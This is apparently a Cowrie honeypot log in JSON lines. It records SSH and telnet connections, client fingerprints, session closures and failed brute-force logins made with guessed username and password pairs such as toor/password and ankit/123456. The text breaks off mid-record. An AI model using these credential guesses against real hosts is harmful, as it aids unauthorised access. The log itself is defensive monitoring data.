{"eventid":"cowrie.session.connect","src_ip":"121.204.171.142","src_port":43008,"dst_ip":"10.17.0.5","dst_port":22,"session":"e206f89cbda1","protocol":"ssh","message":"New connection: 121.204.171.142:43008 (10.17.0.5:22) [session: e206f89cbda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:23.551303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:23.555605Z","src_ip":"121.204.171.142","session":"e206f89cbda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:23.792421Z","src_ip":"121.204.171.142","session":"e206f89cbda1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mama","password":"password","message":"login attempt [mama/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:24.769940Z","src_ip":"121.204.171.142","session":"e206f89cbda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:26.008945Z","src_ip":"121.204.171.142","session":"e206f89cbda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.212.22","src_port":47540,"dst_ip":"159.203.135.109","dst_port":22,"session":"73f811887178","protocol":"ssh","message":"New connection: 43.133.212.22:47540 (159.203.135.109:22) [session: 73f811887178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:56.034489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:56.038666Z","src_ip":"43.133.212.22","session":"73f811887178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:56.208162Z","src_ip":"43.133.212.22","session":"73f811887178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user13","password":"User13","message":"login attempt [user13/User13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:56.909395Z","src_ip":"43.133.212.22","session":"73f811887178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:58.079701Z","src_ip":"43.133.212.22","session":"73f811887178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":54010,"dst_ip":"10.17.0.5","dst_port":22,"session":"571a153b98ba","protocol":"ssh","message":"New connection: 80.94.92.171:54010 (10.17.0.5:22) [session: 571a153b98ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:02.349975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:02.526694Z","src_ip":"80.94.92.171","session":"571a153b98ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:02.531491Z","src_ip":"80.94.92.171","session":"571a153b98ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:04.733538Z","src_ip":"80.94.92.171","session":"571a153b98ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:06.953514Z","src_ip":"80.94.92.171","session":"571a153b98ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":44934,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebecc1d03bb9","protocol":"ssh","message":"New connection: 131.161.249.165:44934 (159.203.135.109:22) [session: ebecc1d03bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:32.745319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:32.749374Z","src_ip":"131.161.249.165","session":"ebecc1d03bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:32.872797Z","src_ip":"131.161.249.165","session":"ebecc1d03bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toor","password":"password","message":"login attempt [toor/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:33.403673Z","src_ip":"131.161.249.165","session":"ebecc1d03bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:34.532189Z","src_ip":"131.161.249.165","session":"ebecc1d03bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":57230,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ea9d504568","protocol":"ssh","message":"New connection: 34.81.72.185:57230 (159.203.135.109:22) [session: 05ea9d504568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:37.816609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:37.820956Z","src_ip":"34.81.72.185","session":"05ea9d504568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:38.013459Z","src_ip":"34.81.72.185","session":"05ea9d504568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rstudio","password":"rstudiorstudio","message":"login attempt [rstudio/rstudiorstudio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:38.820724Z","src_ip":"34.81.72.185","session":"05ea9d504568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":34508,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbd374c744b","protocol":"ssh","message":"New connection: 156.238.246.148:34508 (10.17.0.5:22) [session: ecbd374c744b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:39.533047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:39.537058Z","src_ip":"156.238.246.148","session":"ecbd374c744b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:39.741224Z","src_ip":"156.238.246.148","session":"ecbd374c744b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:40.016291Z","src_ip":"34.81.72.185","session":"05ea9d504568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hl","password":"hlpass","message":"login attempt [hl/hlpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:40.590819Z","src_ip":"156.238.246.148","session":"ecbd374c744b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:38:41.797350Z","src_ip":"156.238.246.148","session":"ecbd374c744b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":41268,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d5a6034ba46","protocol":"ssh","message":"New connection: 82.153.157.222:41268 (10.17.0.5:22) [session: 4d5a6034ba46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:03.215012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:03.221287Z","src_ip":"82.153.157.222","session":"4d5a6034ba46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:03.314423Z","src_ip":"82.153.157.222","session":"4d5a6034ba46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankit","password":"123456","message":"login attempt [ankit/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:03.712475Z","src_ip":"82.153.157.222","session":"4d5a6034ba46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:04.806498Z","src_ip":"82.153.157.222","session":"4d5a6034ba46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.115.59","src_port":34731,"dst_ip":"159.203.135.109","dst_port":22,"session":"44347d3d2458","protocol":"ssh","message":"New connection: 45.79.115.59:34731 (159.203.135.109:22) [session: 44347d3d2458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:18.115492Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:18.305830Z","src_ip":"45.79.115.59","session":"44347d3d2458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":43992,"dst_ip":"159.203.135.109","dst_port":23,"session":"177120299a81","protocol":"telnet","message":"New connection: 172.104.93.159:43992 (159.203.135.109:23) [session: 177120299a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:26.245482Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":46898,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fe61f0b40c","protocol":"ssh","message":"New connection: 209.38.255.212:46898 (10.17.0.5:22) [session: 71fe61f0b40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:31.303548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:31.309382Z","src_ip":"209.38.255.212","session":"71fe61f0b40c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:31.393354Z","src_ip":"209.38.255.212","session":"71fe61f0b40c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liang","password":"Liang123","message":"login attempt [liang/Liang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:31.762816Z","src_ip":"209.38.255.212","session":"71fe61f0b40c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:32.849691Z","src_ip":"209.38.255.212","session":"71fe61f0b40c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.159863233566284,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:36.405202Z","src_ip":"172.104.93.159","session":"177120299a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":54694,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d8b1246e548","protocol":"ssh","message":"New connection: 23.249.28.115:54694 (10.17.0.5:22) [session: 2d8b1246e548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:37.533059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:37.538013Z","src_ip":"23.249.28.115","session":"2d8b1246e548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"